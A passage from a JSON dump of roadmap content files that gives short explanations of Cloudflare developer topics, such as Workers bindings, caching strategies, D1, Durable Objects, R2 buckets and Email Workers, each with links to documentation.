    "path": "src/data/roadmaps/cloudflare/content/bindings@9ef2VPCru8lCmRxxGe-Eo.md",
    "content": "# Bindings\n\nIn Cloudflare Workers, Bindings are configurations that connect your Worker to external resources or services. These can include:\n\n- **KV Namespaces:** Binding to a KV namespace allows the Worker to read and write data.\n- **Durable Objects:** Bindings specify which Durable Object namespace the Worker can access.\n- **Service Bindings:** Connecting to other Workers or Cloudflare services like Queues.\n- **Secrets:** Storing sensitive data (API keys) securely.\n- **Environment Variables:** Configuring environment-specific settings.\n\nBindings are defined in the `wrangler.toml` file and provide a secure and managed way for your Worker to interact with the outside world.\n\nVisit the following resources to learn more:\n\n- [@official@Bindings (env) · Cloudflare Workers](https://developers.cloudflare.com/workers/runtime-apis/bindings/)\n- [@official@Workers Bindings · Cloudflare Workers AI](https://developers.cloudflare.com/workers-ai/configuration/bindings/)\n- [@official@Configuration - Wrangler · Cloudflare Workers](https://developers.cloudflare.com/workers/wrangler/configuration/)"
  },
  {
    "path": "src/data/roadmaps/cloudflare/content/bot-management@So-cKAVfbgsw2zzFREu7Q.md",
    "content": "# Bot Management\n\nCloudflare Bot Management identifies and mitigates malicious bot traffic. It uses machine learning and behavioral analysis to distinguish between human and bot activity. Cloudflare can block, challenge, or allow bot traffic based on its behavior and characteristics. This helps prevent - Credential stuffing, Content scraping, Spam submissions, DDoS attacks. Effective bot management improves website performance, security, and resource utilization.\n\nVisit the following resources to learn more:\n\n- [@official@Cloudflare Bot Management & Protection](https://www.cloudflare.com/application-services/products/bot-management/)\n- [@official@What is Bot Management? | How Bot Managers work?](https://www.cloudflare.com/learning/bots/what-is-bot-management/)\n"
  },
  {
    "path": "src/data/roadmaps/cloudflare/content/browser-rendering@qkFRW_tJB8_1IYpYskQ5M.md",
    "content": "# Browser Rendering\n\nCloudflare Browser Rendering allows you to render web pages in a headless browser environment on Cloudflare's edge network. This is useful for tasks like generating PDFs, taking screenshots, or pre-rendering content for SEO purposes. By performing browser rendering at the edge, you can offload processing from your origin server and improve performance for certain types of web applications.\n\nVisit the following resources to learn more:\n\n- [@official@Browser Rendering](https://developers.cloudflare.com/browser-rendering/)\n- [@official@Browser Rendering API - Blog](https://blog.cloudflare.com/browser-rendering-api-ga-rolling-out-cloudflare-snippets-swr-and-bringing-workers-for-platforms-to-our-paygo-plans/)"
  },
  {
    "path": "src/data/roadmaps/cloudflare/content/bucket-lifecycle@YvgmmF9sWfURgijFV7E31.md",
    "content": "# Bucket Lifecycle\n\nThe lifecycle of an R2 bucket involves creation, usage (storing and retrieving objects), and eventual deletion. You create a bucket to house your data. Objects are then uploaded, accessed, and managed within the bucket. Cloudflare doesn't have built-in lifecycle rules like some other storage providers, so object expiration typically requires custom logic via Workers. Finally, when the bucket is no longer needed, and after ensuring it's empty, you can delete it.\n\nVisit the following resources to learn more:\n\n- [@official@Buckets · Cloudflare R2](https://developers.cloudflare.com/r2/buckets/)\n- [@official@Bucket Lifecycle · Cloudflare R2](https://developers.cloudflare.com/api/resources/r2/subresources/buckets/subresources/lifecycle/) "
  },
  {
    "path": "src/data/roadmaps/cloudflare/content/bucket-operations@UNE6XK4su5r2jcxhY7hOG.md",
    "content": "# Bucket Operations\n\nIn Cloudflare R2, buckets are containers for storing objects. You can perform various bucket operations, including:\n\n- **Creating Buckets:** Creating new buckets to organize your data.\n- **Listing Buckets:** Listing all the buckets in your account.\n- **Deleting Buckets:** Deleting buckets that are no longer needed (must be empty).\n- **Configuring Bucket Policies:** Setting access control policies for buckets.\n\nThese operations are typically performed using the R2 API, the Cloudflare dashboard, or command-line tools like `wrangler`.\n\nVisit the following resources to learn more:\n\n- [@official@Buckets · Cloudflare R2](https://developers.cloudflare.com/r2/buckets/)\n- [@official@Create New Buckets · Cloudflare R2](https://developers.cloudflare.com/r2/buckets/create-buckets/)"
  },
  {
    "path": "src/data/roadmaps/cloudflare/content/bulk-operations@i64-aCpZHygq76fBU6eXD.md",
    "content": "# Bulk Operations\n\nCloudflare Workers allow you to perform bulk operations on KV stores. You can use the `batch` method to perform multiple operations in a single request. This is useful for tasks like importing data from an external source or updating multiple records at once. Bulk operations are efficient and scalable, allowing you to handle large amounts of data with ease.\n\nVisit the following resources to learn more:\n\n- [@official@Workers KV](https://blog.cloudflare.com/workers-kv-is-ga/)\n- [@official@Workers KV Runtime API](https://developers.cloudflare.com/workers/runtime-apis/kv)"
  },
  {
    "path": "src/data/roadmaps/cloudflare/content/cache-api@ui3pUfsGMxv4WRzHkgbF0.md",
    "content": "# Cache API\n\nCloudflare's Cache API allows Workers to programmatically control caching behavior. You can store responses in Cloudflare's global cache and retrieve them later, reducing origin server load and improving performance. The Cache API offers fine-grained control over cache keys, expiration, and other parameters. This enables you to cache dynamic content, personalize responses, and optimize content delivery for specific users or devices. The Cache API is a powerful tool for building highly performant and scalable applications on Cloudflare.\n\nVisit the following resources to learn more:\n\n- [@official@Cloudflare API Cache · Cloudflare](https://developers.cloudflare.com/api-next/resources/cache//)\n"
  },
  {
    "path": "src/data/roadmaps/cloudflare/content/caching-patterns@OgW-iIrJZ5-sOWKnFpIZd.md",
    "content": "# Caching Patterns\n\nCaching is a critical aspect of building performant and scalable applications. Cloudflare Workers provide several caching patterns that you can use to optimize your application's performance. These patterns include:\n\n- **Cache-First:** Serve from cache if available, otherwise fetch from origin.\n- **Network-First:** Always fetch from origin, caching the response for subsequent requests.\n- **Stale-While-Revalidate:** Serve from cache immediately, then update the cache in the background.\n\nYou can also manipulate HTTP cache headers (Cache-Control, Expires) to control how Cloudflare's CDN caches content. Effective caching is crucial for improving performance and reducing origin server load.\n\nVisit the following resources to learn more:\n\n- [@official@How the Cache Works · Cloudflare Workers](https://developers.cloudflare.com/workers/reference/how-the-cache-works/)\n- [@article@Caching Strategies](https://docs.aws.amazon.com/whitepapers/latest/database-caching-strategies-using-redis/caching-patterns.html)\n- [@article@Caching Static and Dynamic Content](https://www.cloudflare.com/learning/cdn/caching-static-and-dynamic-content/)\n"
  },
  {
    "path": "src/data/roadmaps/cloudflare/content/caching-strategies@uBjcQ9PJUfwzu5N_2CNjN.md",
    "content": "# Caching Strategies\n\nCloudflare Workers allow fine-grained control over caching. You can use the Cache API to store and retrieve responses directly within your Worker, bypassing the origin server. Strategies include:\n\n- **Cache-First:** Serve from cache if available, otherwise fetch from origin.\n- **Network-First:** Always fetch from origin, caching the response for subsequent requests.\n- **Stale-While-Revalidate:** Serve from cache immediately, then update the cache in the background.\n\nYou can also manipulate HTTP cache headers (Cache-Control, Expires) to control how Cloudflare's CDN caches content. Effective caching is critical for improving performance and reducing origin server load.\n\nVisit the following resources to learn more:\n\n- [@official@Cache · Cloudflare Workers](https://developers.cloudflare.com/workers/runtime-apis/cache/)\n- [@official@How the Cache Works · Cloudflare Workers ](https://developers.cloudflare.com/workers/reference/how-the-cache-works/)\n"
  },
  {
    "path": "src/data/roadmaps/cloudflare/content/calls@vHQdMgaL2EEr2o_eJmOuV.md",
    "content": "# Calls\n\nCloudflare Calls is a platform for building real-time audio and video applications directly on Cloudflare's edge network. It provides the infrastructure and APIs you need to create interactive experiences like video conferencing, live streaming, and voice chat, with low latency and global reach.\n\nVisit the following resources to learn more:\n\n- [@official@Cloudflare Calls](https://developers.cloudflare.com/calls/)\n- [@official@Introduction · Cloudflare Calls](https://developers.cloudflare.com/calls/introduction/)\n"
  },
  {
    "path": "src/data/roadmaps/cloudflare/content/cicd-pipelines@8Y6TIYoWIXrxtmzDVdS0b.md",
    "content": "# CI/CD Pipelines\n\nCI/CD (Continuous Integration/Continuous Deployment) pipelines automate the process of building, testing, and deploying Cloudflare Workers. Common CI/CD platforms like GitHub Actions, GitLab CI, and CircleCI can be used to create pipelines that automatically deploy Workers whenever code changes are pushed to a repository. These pipelines typically involve steps like linting, testing, building, and deploying using `wrangler`. Automating deployments ensures faster releases and reduces the risk of errors.\n\nVisit the following resources to learn more:\n\n- [@official@Automate your workflow - Github Actions](https://github.com/features/actions)\n- [@official@CI/CD Pipelines - GitLab](https://docs.gitlab.com/ee/ci/pipelines/)\n- [@official@Continuous Integration and Delivery - CircleCI](https://circleci.com/)\n- [@official@Simple, Flexible, Trustworthy CI/CD Tools - Travis CI](https://www.travis-ci.com/)\n"
  },
  {
    "path": "src/data/roadmaps/cloudflare/content/coordination@RYm0oBFCxm-S-aCwZ21p6.md",
    "content": "# Coordination\n\nDurable Objects facilitate coordination between different clients or Workers. Because each object has a single, consistent view of its state, it can act as a central point for coordinating actions. Multiple clients can interact with the same Durable Object, and the object can ensure that actions are performed in a consistent and predictable order. This is useful for building collaborative applications where multiple users need to work on the same data.\n\nVisit the following resources to learn more:\n\n- [@official@Durable Objects](https://www.cloudflare.com/developer-platform/products/durable-objects/)\n- [@article@Durable Objects (DO)](https://www.lambrospetrou.com/articles/durable-objects-cloudflare/)"
  },
  {
    "path": "src/data/roadmaps/cloudflare/content/d1@mKN0Ta3zSk7PCm_uHYKFN.md",
    "content": "# D1\n\nCloudflare D1 is a serverless SQL database designed to run on Cloudflare's edge network. It allows you to store and query data closer to your users, reducing latency and improving application performance. D1 is based on SQLite and is accessible directly from Cloudflare Workers, making it easy to build dynamic and data-driven applications without managing a traditional database server.\n\nVisit the following resources to learn more:\n\n- [@official@Cloudflare D1 Documentation](https://developers.cloudflare.com/d1/)\n- [@official@Getting Started with D1](https://developers.cloudflare.com/d1/get-started/)"
  },
  {
    "path": "src/data/roadmaps/cloudflare/content/dead-letter-queues@Grl59SjY31Q3sgf9uX-xf.md",
    "content": "# Dead Letter Queues\n\nDead Letter Queues (DLQs) are an important part of a robust message queuing system. In Cloudflare Queues, a DLQ is a separate queue where messages that cannot be processed successfully after multiple retries are sent. This allows you to isolate problematic messages and prevent them from causing continuous failures. You can then investigate the messages in the DLQ to identify and fix the underlying issues.\n\nVisit the following resources to learn more:\n\n- [@article@What is DLQ? - Dead-Letter Queue Explained - AWS](https://aws.amazon.com/what-is/dead-letter-queue/)\n- [@article@Dead Letter Queue](https://en.wikipedia.org/wiki/Dead_letter_queue)\n"
  },
  {
    "path": "src/data/roadmaps/cloudflare/content/debugging-techniques@TmQC7fTL6b9EsBDYibv4g.md",
    "content": "# Debugging Techniques\n\nDebugging Cloudflare Workers involves several techniques:\n\n- **Console Logging:** Using `console.log()` to output variables and track code execution.\n- **`wrangler tail`:** Viewing real-time logs from your Worker in the command line.\n- **Source Maps:** Mapping compiled code back to the original source for easier debugging.\n- **Try-Catch Blocks:** Handling errors gracefully and logging relevant information.\n- **Local Testing:** Using `wrangler dev` to test Workers locally before deployment.\n\nThese techniques help identify and resolve issues in your Workers effectively.\n\nVisit the following resources to learn more:\n\n- [@official@Chrome DevTools](https://developer.chrome.com/docs/devtools)\n- [@official@Debugging Cloudflare Workers](https://developers.cloudflare.com/workers/playground/#devtools)\n- [@article@Debugging Cloudflare Workers](https://blog.cloudflare.com/debugging-cloudflare-workers/)\n"
  },
  {
    "path": "src/data/roadmaps/cloudflare/content/development-tools@gsCRhwwjXuyueaYHSPOVZ.md",
    "content": "# Development Tools\n\n- **Wrangler:** The command-line interface (CLI) is your primary tool for interacting with Cloudflare Workers. It handles project creation, local testing, deployment, secret management, and more. Wrangler simplifies the entire development lifecycle.\n- **Miniflare:** This local simulator replicates the Cloudflare Workers environment on your machine. It supports features like KV storage, Durable Objects, and the Cache API, enabling offline development and testing.\n- **Cloudflare Dashboard:** The web interface provides a visual way to manage your Cloudflare account, configure settings, monitor performance, and view analytics. It's useful for managing DNS, security rules, and other global settings.\n- **Workers Playground:** A browser-based environment for experimenting with Workers code. It's ideal for quick prototyping and testing small code snippets without setting up a local development environment.\n- **VS Code Extension:** This extension integrates with Visual Studio Code, providing features like syntax highlighting, code completion, and debugging support for Cloudflare Workers. It enhances the development experience within your preferred IDE.\n"
  },
  {
    "path": "src/data/roadmaps/cloudflare/content/devtools-integration@uoaOrypiMkyoikXvTHeVS.md",
    "content": "# DevTools Integration\n\nCloudflare Workers can be debugged using standard browser DevTools. When running Workers in a local environment (e.g., with Miniflare), you can use Chrome DevTools or similar tools to inspect code, set breakpoints, and step through execution. You can also use `console.log` statements to output information to the DevTools console. This integration makes debugging Workers more intuitive and efficient.\n\nVisit the following resources to learn more:\n\n- [@official@Debugging Cloudflare Workers](https://developers.cloudflare.com/workers/playground/#devtools)\n- [@official@Chrome DevTools](https://developer.chrome.com/docs/devtools)\n"
  },
  {
    "path": "src/data/roadmaps/cloudflare/content/devtools@G6YQZUQh_x8Qxm1oBseLQ.md",
    "content": "# DevTools\n\nWhile you can't directly use traditional browser DevTools with Cloudflare Workers running on the edge, you can leverage similar debugging principles. Cloudflare offers tools like `wrangler tail` for real-time logging and the ability to inspect request/response headers. Using `console.log` strategically within your Worker code and analyzing the output via `wrangler tail` is the primary way to inspect variables and execution flow, emulating some DevTools functionality.\n\nVisit the following resources to learn more:\n\n- [@official@Chrome DevTools](https://developer.chrome.com/docs/devtools)\n- [@official@Overview | Chrome DevTools | Chrome for Developers](https://developer.chrome.com/docs/devtools/overview/)\n- [@official@Debugging Cloudflare Workers](https://developers.cloudflare.com/workers/playground/#devtools)\n"
  },
  {
    "path": "src/data/roadmaps/cloudflare/content/drizzle@MpWO1sroeF106SEMU1V1a.md",
    "content": "# Drizzle\n\nDrizzle ORM is a TypeScript ORM (Object-Relational Mapper) that can be used with Cloudflare D1 to provide a type-safe and more developer-friendly way to interact with your database. It allows you to define your database schema using TypeScript code and provides a query builder that helps you construct SQL queries in a type-safe manner. Drizzle can simplify database interactions, improve code maintainability, and reduce the risk of SQL injection vulnerabilities. It also supports migrations, making it easier to manage schema changes over time.\n\nVisit the following resources to learn more:\n\n- [@official@Drizzle](https://orm.drizzle.team/)\n- [@official@Drizzle Overview](https://orm.drizzle.team/docs/overview)\n"
  },
  {
    "path": "src/data/roadmaps/cloudflare/content/durable-objects@G-xBbtaniYFRE9Dgs18px.md",
    "content": "# Durable Objects\n\nCloudflare Durable Objects provide a strongly consistent, single-actor execution environment on Cloudflare's edge network. Unlike Workers, which are stateless, Durable Objects maintain state, enabling you to build applications that require coordination and data consistency across multiple requests and users. They are ideal for building collaborative applications, real-time games, and other stateful services.\n\nVisit the following resources to learn more:\n\n- [@official@Cloudflare Durable Objects - Cloudflare Docs](https://developers.cloudflare.com/durable-objects/)\n"
  },
  {
    "path": "src/data/roadmaps/cloudflare/content/edge-computing-fundamentals@aGWLomYHGkIfn7GFc0_Yl.md",
    "content": "# Edge Computing Fundamentals\n\nEdge computing brings computation closer to the user, minimizing latency. Cloudflare Workers embodies this: your code runs on Cloudflare's global network of servers, near your users. This reduces network hops and improves response times. By executing logic at the edge, you can personalize content, filter requests, and optimize delivery without needing to route traffic back to a central server. Edge computing with Workers enables faster, more responsive applications and enhanced user experiences.\n\nVisit the following resources to learn more:\n\n- [@official@What is Edge Computing - Cloudflare Docs](https://www.cloudflare.com/learning/serverless/glossary/what-is-edge-computing/)\n- [@article@What is Edge Computing? Is It More Than a Buzzword?](https://www.howtogeek.com/devops/what-is-edge-computing-is-it-more-than-a-buzzword/)\n- [@course@What Is Edge Computing? - Coursera](https://www.udemy.com/course/edge-computing/)"
  },
  {
    "path": "src/data/roadmaps/cloudflare/content/edge-ssltls@sXBxaQtwJ-luGVXdqVXk1.md",
    "content": "# Edge SSL/TLS\n\nCloudflare's Edge SSL/TLS terminates SSL/TLS connections at Cloudflare's edge network, close to the user. This reduces latency and improves performance compared to terminating connections at the origin server. Cloudflare offers various SSL/TLS options, including:\n\n- **Universal SSL:** Free SSL certificates for all Cloudflare users.\n- **Dedicated SSL:** Custom SSL certificates for specific domains.\n- **Origin CA:** Free certificates for securing communication between Cloudflare and your origin.\n\nEdge SSL/TLS ensures secure communication between users and your website while optimizing performance.\n\nVisit the following resources to learn more:\n\n- [@official@Get Started with SSL/TLS - Cloudflare Docs](https://developers.cloudflare.com/ssl/get-started/)\n- [@official@Edge Certificates · Cloudflare SSL/TLS](https://developers.cloudflare.com/ssl/edge-certificates/)\n"
  },
  {
    "path": "src/data/roadmaps/cloudflare/content/email-workers@z-1Ye5hcNdr9r6Gwdw7mv.md",
    "content": "# Email Workers\n\nEmail Workers allow you to intercept and modify email traffic passing through Cloudflare's email routing service. You can use Email Workers to perform tasks like spam filtering, email authentication, and custom email processing logic, giving you greater control over your email flow.\n\nVisit the following resources to learn more:\n\n- [@official@Email Workers · Cloudflare Email Routing](https://developers.cloudflare.com/email-routing/email-workers/)\n- [@official@Route to Workers, Automate Your Email Processing](https://blog.cloudflare.com/announcing-route-to-workers/)\n- [@article@Implementing an Email Delivery Service with Cloudflare Workers](https://medium.com/@georgechmr/implementing-an-email-delivery-service-with-cloudflare-workers-c141422109d0)"
  },
  {
    "path": "src/data/roadmaps/cloudflare/content/event-driven-architectures@Z9Yywlf7rXFBtxTq5B2Y5.md",
    "content": "# Event-driven Architectures\n\nCloudflare Workers are well-suited for event-driven architectures. You can trigger Workers based on various events, such as:\n\n- Incoming HTTP requests\n- Scheduled tasks (using Cron Triggers)\n- Webhooks from external services\n\nThis allows you to build reactive systems that respond to events in real-time. Workers can process events and trigger other actions, creating a chain reaction that automates complex tasks.\n\nVisit the following resources to learn more:\n\n- [@article@What Is Event-Driven Architecture? - IBM](https://www.ibm.com/think/topics/event-driven-architecture)\n"
  },
  {
    "path": "src/data/roadmaps/cloudflare/content/external-api-integration@4g5w6IAdzefdlRTxbRbdS.md",
    "content": "# External API Integration\n\nCloudflare Workers can integrate with external APIs to enrich functionality. You can use fetch() within a Worker to make requests to third-party services. This enables you to:\n\n- Retrieve data from external sources.\n- Send data to external systems.\n- Authenticate with external services using API keys or tokens.\n\nIntegrating with external APIs allows you to build powerful applications that leverage the capabilities of other platforms.\n\nVisit the following resources to learn more:\n\n- [@official@APIs · Cloudflare Workers](https://developers.cloudflare.com/workers/configuration/integrations/apis/)\n- [@official@External Services · Cloudflare Workers](https://developers.cloudflare.com/workers/configuration/integrations/external-services/)\n"
  },
  {
    "path": "src/data/roadmaps/cloudflare/content/fetch-api-and-runtime-apis@_2UnRlbUplHvs5-Stj4O4.md",
    "content": "# Fetch API and Runtime APIs\n\nWithin Cloudflare Workers, the Fetch API is your primary tool for making HTTP requests to external services or your origin server. It's similar to the Fetch API in browsers but adapted for the Workers environment. Runtime APIs provide access to Cloudflare-specific features like KV storage (for persistent data), Durable Objects (for stateful applications), and other services. These APIs allow Workers to interact with Cloudflare's infrastructure and build powerful applications that go beyond simple request/response handling.\n\nVisit the following resources to learn more:\n\n- [@official@Fetch API in Workers](https://developers.cloudflare.com/workers/runtime-apis/fetch)\n- [@article@Fetch API](https://developer.mozilla.org/en-US/docs/Web/API/Fetch_API)\n"
  },
  {
    "path": "src/data/roadmaps/cloudflare/content/filtering@kdIfqTCcOSvV4KDpjr7nu.md",
    "content": "# Filtering\n\nIn Cloudflare Email Workers, filtering is the process of selectively acting on emails based on specific criteria. It allows you to define rules that determine which emails your worker will process and how. Filtering can be based on various email attributes, including:\n\n- **Sender/Recipient:** Matching specific email addresses or domains.\n- **Subject Line:** Looking for keywords or patterns in the subject.\n- **Headers:** Examining specific header values.\n- **Content:** Analyzing the email body for certain keywords.\n\nBy implementing filtering, you can ensure that your worker only processes relevant emails, optimizing performance and preventing unintended actions on unrelated messages.\n\nVisit the following resources to learn more:\n\n- [@official@Email Workers · Cloudflare Email Routing](https://developers.cloudflare.com/email-routing/email-workers/)\n- [@article@Implementing an Email Delivery Service with Cloudflare Workers](https://medium.com/@georgechmr/implementing-an-email-delivery-service-with-cloudflare-workers-c141422109d0)\n"
  },
  {
    "path": "src/data/roadmaps/cloudflare/content/git-basics@C08pIguX1N45Iw0kh0Fvu.md",
    "content": "# Git Basics\n\nGit is a distributed version control system designed to handle projects of any size with speed and efficiency. Created by Linus Torvalds in 2005, it tracks changes in source code during software development, allowing multiple developers to work together on non-linear development. Git maintains a complete history of all changes, enabling easy rollbacks and comparisons between versions. Its distributed nature means each developer has a full copy of the repository, allowing for offline work and backup. Git’s key features include branching and merging capabilities, staging area for commits, and support for collaborative workflows like pull requests. Its speed, flexibility, and robust branching and merging capabilities have made it the most widely used version control system in software development, particularly for open-source projects and team collaborations.\n\nVisit the following resources to learn more:\n\n- [@roadmap@Visit Dedicated Git & GitHub Roadmap](https://roadmap.sh/git-github)\n- [@official@Git Integration - Cloudflare Pages](https://developers.cloudflare.com/pages/configuration/git-integration/)\n- [@official@Git Documentation](https://git-scm.com/doc)\n- [@article@Git Cheat Sheet](https://cs.fyi/guide/git-cheatsheet)"
  },
  {
    "path": "src/data/roadmaps/cloudflare/content/hono@-8MsWNvuqwQCbLpOx_kov.md",
    "content": "# Hono\n\nHono is a small, simple and ultra-fast web framework built on web standards. It works on any JavaScript runtime: Cloudflare Workers, Fastly Compute, Deno, Bun, Vercel, Netlify, AWS Lambda, Lambda@Edge, and Node.js. Hono is more known for supporting a lot more than the basics.\n\nHono is a simple web application framework similar to the well known javascript framework Express, without a frontend. But it runs on CDN Edges and allows you to construct larger applications when combined with middleware. \n\nVisit the following resources to learn more:\n\n- [@official@Hono Documentation](https://hono.dev/docs/)\n- [@article@Hono.js: A Small Framework with Big Potential](https://medium.com/@appvintechnologies/hono-js-a-small-framework-with-big-potential-15a093fc5c07)\n- [@opensource@Hono JS Examples](https://github.com/honojs/examples)\n- [@article@Quick Start with Hono: Simple Setup Guide](https://dev.to/koshirok096/quick-start-with-hono-simple-setup-guide-bite-sized-article-lhe)\n- [@video@Hono JS Tutorial](https://www.youtube.com/watch?v=gY-TK33G6kQ)\n"
  },
  {
    "path": "src/data/roadmaps/cloudflare/content/html-rewriting@INiqdtppBmCthOEXuHb-V.md",
    "content": "# HTML Rewriting\n\nHTML rewriting with Cloudflare Workers enables you to modify HTML content on the fly. You can use Workers to parse HTML, manipulate elements, and inject new content. Common use cases include:\n\n- A/B testing: Dynamically changing content for different users.\n- Personalization: Tailoring the HTML based on user characteristics.\n- Content injection: Adding analytics scripts or ads.\n- Security enhancements: Removing potentially harmful code.\n\nHTML rewriting allows you to customize the user experience and optimize your website without modifying the origin server.\n\nVisit the following resources to learn more:\n\n- [@official@HTMLRewriter · Cloudflare Workers](https://developers.cloudflare.com/workers/runtime-apis/html-rewriter/)\n- [@official@Introducing the HTMLRewriter API to Cloudflare Workers](https://blog.cloudflare.com/introducing-htmlrewriter/)\n"
  },
  {
    "path": "src/data/roadmaps/cloudflare/content/http-and-web-protocols@9iSdASlRxyod9YwZ2IUry.md",
    "content": "# HTTP and Web Protocols\n\nUnderstanding HTTP and web protocols is crucial for leveraging Cloudflare's features. HTTP methods (GET, POST), status codes, headers, and caching mechanisms directly influence how Cloudflare interacts with your application. Cloudflare supports modern protocols like HTTP/2 and HTTP/3, improving performance. Familiarity with TLS/SSL is vital for secure communication, and concepts like CORS (Cross-Origin Resource Sharing) are relevant when handling API requests. Cloudflare's features, like caching rules and page rules, operate based on these protocols.\n\nVisit the following resources to learn more:\n\n- [@article@What is HTTP?](https://www.cloudflare.com/en-gb/learning/ddos/glossary/hypertext-transfer-protocol-http/)\n- [@article@Overview of HTTP](https://developer.mozilla.org/en-US/docs/Web/HTTP/Overview)"
  },
  {
    "path": "src/data/roadmaps/cloudflare/content/image-processing@S7laV14zsx31O0Tsj2SRL.md",
    "content": "# Image Processing\n\nWorkers AI allows you to run AI models directly within Cloudflare Workers, enabling powerful image processing capabilities at the edge. You can use Workers AI to perform tasks such as:\n\n- Image recognition\n- Object detection\n- Image classification\n- Image resizing and optimization\n\nThis allows you to build intelligent applications that analyze and manipulate images in real-time, close to the user.\n\nVisit the following resources to learn more:\n\n- [@official@How to Build an Image Generator using Workers AI](https://developers.cloudflare.com/workers-ai/tutorials/image-generation-playground/)\n- [@official@Get Started with Cloudflare Images](https://developers.cloudflare.com/images/get-started/)\n"
  },
  {
    "path": "src/data/roadmaps/cloudflare/content/images@8bOWuopxHtBWUSFaVT54P.md",
    "content": "# Images\n\nCloudflare Images provides comprehensive image optimization and delivery services. It automatically resizes, converts, and optimizes images for different devices and browsers, improving website performance and reducing bandwidth usage. You can also use Cloudflare Images to store and serve images directly, eliminating the need for a separate image hosting service.\n\nVisit the following resources to learn more:\n\n- [@official@Images · Cloudflare Docs](https://developers.cloudflare.com/images/)\n- [@official@Get Started with Cloudflare Images](https://developers.cloudflare.com/images/get-started/)\n"
  },
  {
    "path": "src/data/roadmaps/cloudflare/content/integration--workflows@wvurOKbemF4Tt2WZcmqDL.md",
    "content": "# Integration & Workflows\n\nWorkflows refers to the automated processes you can create to manage and respond to various events or conditions. This often involves chaining together different Cloudflare features and potentially integrating with external services. Workflows enable you to automate tasks such as:\n\n- Responding to security threats\n- Optimizing website performance\n- Managing user access\n- Enforcing compliance policies\n\nCloudflare's strength lies in its ability to integrate various services and create automated workflows. You can connect Cloudflare with external platforms using webhooks or APIs. Workflows can automate tasks like responding to security events, optimizing performance based on real-time data, or managing user access. By integrating different components, you can build complex and efficient systems that leverage Cloudflare's global network.\n\nVisit the following resources to learn more:\n\n- [@official@CI/CD · Cloudflare Workers](https://developers.cloudflare.com/workers/ci-cd/)\n- [@official@Cloudflare Workflows](https://developers.cloudflare.com/workflows/)\n- [@official@Workers Builds: Integrated CI/CD built on the Workers platform](https://blog.cloudflare.com/workers-builds-integrated-ci-cd-built-on-the-workers-platform/)\n"
  },
  {
    "path": "src/data/roadmaps/cloudflare/content/inter-worker-communication@jYAUIKozuhsNK5LbkeAJ6.md",
    "content": "# Inter Worker Communication\n\nInter-Worker communication enables different Cloudflare Workers to interact and share data. This can be achieved through:\n\n- **Durable Objects:** Workers can share persistent data and coordinate state using Durable Objects.\n- **KV Storage:** Workers can read and write data to a shared KV namespace.\n- **Webhooks:** One Worker can trigger another by sending a webhook request.\n\nThese methods allow you to build complex applications where different Workers handle specific tasks and collaborate to achieve a common goal.\n\nVisit the following resources to learn more:\n\n- [@official@How Workers for Platforms works - Cloudflare Docs](https://developers.cloudflare.com/cloudflare-for-platforms/workers-for-platforms/reference/how-workers-for-platforms-works/)\n- [@article@Cooperation between Cloudflare Workers](https://dev.to/chimame/cooperation-between-cloudflare-workers-has-become-amazing-thanks-to-rpc-support-4co9)"
  },
  {
    "path": "src/data/roadmaps/cloudflare/content/isolates-architecture@uNinrB9wm5ahjGXu5fc0g.md",
    "content": "# Isolates Architecture\n\nCloudflare's isolated architecture for Workers relies on lightweight V8 isolates. Each Worker runs in its own isolate, providing strong isolation from other Workers and the underlying infrastructure. Isolates start quickly and consume minimal resources, enabling rapid scaling. This architecture prevents code from one Worker from impacting others, enhancing security and stability. The isolation ensures that even if a Worker contains vulnerabilities, it cannot compromise the entire Cloudflare network or other customers' applications.\n\nVisit the following resources to learn more:\n\n- [@official@Reference Architectures · Cloudflare Reference Architecture](https://developers.cloudflare.com/reference-architecture/)\n- [@official@Cloudflare Security Architecture](https://developers.cloudflare.com/reference-architecture/architectures/security/)\n"
  },
  {
    "path": "src/data/roadmaps/cloudflare/content/itty-router@15jl6CSCkqnh_eFfysLDM.md",
    "content": "# Itty Router\n\nItty Router is a lightweight router with the motto \"less is more\" that supports Cloudflare workers and pages. While other libraries may suffer from feature creep/bloat to please a wider audience, Itty Router painfully consider every single byte added to Itty. Our router options range from ~450 bytes to ~970 bytes for a batteries-included version with built-in defaults, error handling, formatting, etc. On top of that, the following concepts aim to keep YOUR code tiny (and readable) as well.\n\nVisit the following resources to learn more:\n\n- [@official@ITTy Documentation](https://itty.dev/itty-router/)\n- [@official@Getting Started with Itty Router](https://itty.dev/itty-router/getting-started)"
  },
  {
    "path": "src/data/roadmaps/cloudflare/content/javascript-fundamentals@PcYnYAAkKMbzoiCnBfjqO.md",
    "content": "# JavaScript Fundamentals\n\nJavaScript is a versatile, high-level programming language primarily used for adding interactivity and dynamic features to websites. It runs in the browser, allowing for client-side scripting that can manipulate HTML and CSS, respond to user events, and interact with web APIs.\n\nJavaScript is a core language for Cloudflare Workers, allowing you to write serverless functions that run on Cloudflare's edge network. You'll use it to intercept and modify HTTP requests and responses, customize website behavior, and build dynamic applications. Understanding JavaScript fundamentals like variables, functions, asynchronous programming (Promises, async/await), and DOM manipulation is crucial for effective Cloudflare Workers development. You can also use TypeScript, which compiles to JavaScript, offering static typing benefits.\n\nVisit the following resources to learn more:\n\n- [@roadmap@Visit Dedicated JavaScript Roadmap](https://roadmap.sh/javascript)\n- [@official@JavaScript · Cloudflare Workers](https://developers.cloudflare.com/workers/languages/javascript/)\n- [@article@JavaScript Fundamentals](https://developer.mozilla.org/en-US/curriculum/core/javascript-fundamentals/)"
  },
  {
    "path": "src/data/roadmaps/cloudflare/content/key-value-operations@EBTHbXOOZiqrcYJvKhcWV.md",
    "content": "# Key-value Operations\n\nCloudflare Workers provide a simple API for reading and writing data to a Key-Value store. You can use the `put` method to store data, and the `get` method to retrieve it. The `delete` method allows you to remove data from the store. KV stores are ideal for storing configuration data, user sessions, and other data that needs to be accessed quickly.\n\nVisit the following resources to learn more:\n\n- [@official@Read Key Value Pairs](https://developers.cloudflare.com/kv/api/read-key-value-pairs/)\n- [@official@Cloudflare KV Binding API](https://developers.cloudflare.com/workers/runtime-apis/kv)\n- [@official@Cloudflare Workers KV — Cloudflare Docs](https://developers.cloudflare.com/workers/runtime-apis/kv/)"
  },
  {
    "path": "src/data/roadmaps/cloudflare/content/large-file-handling@BPahk1qH9Hk11tsE2hw3A.md",
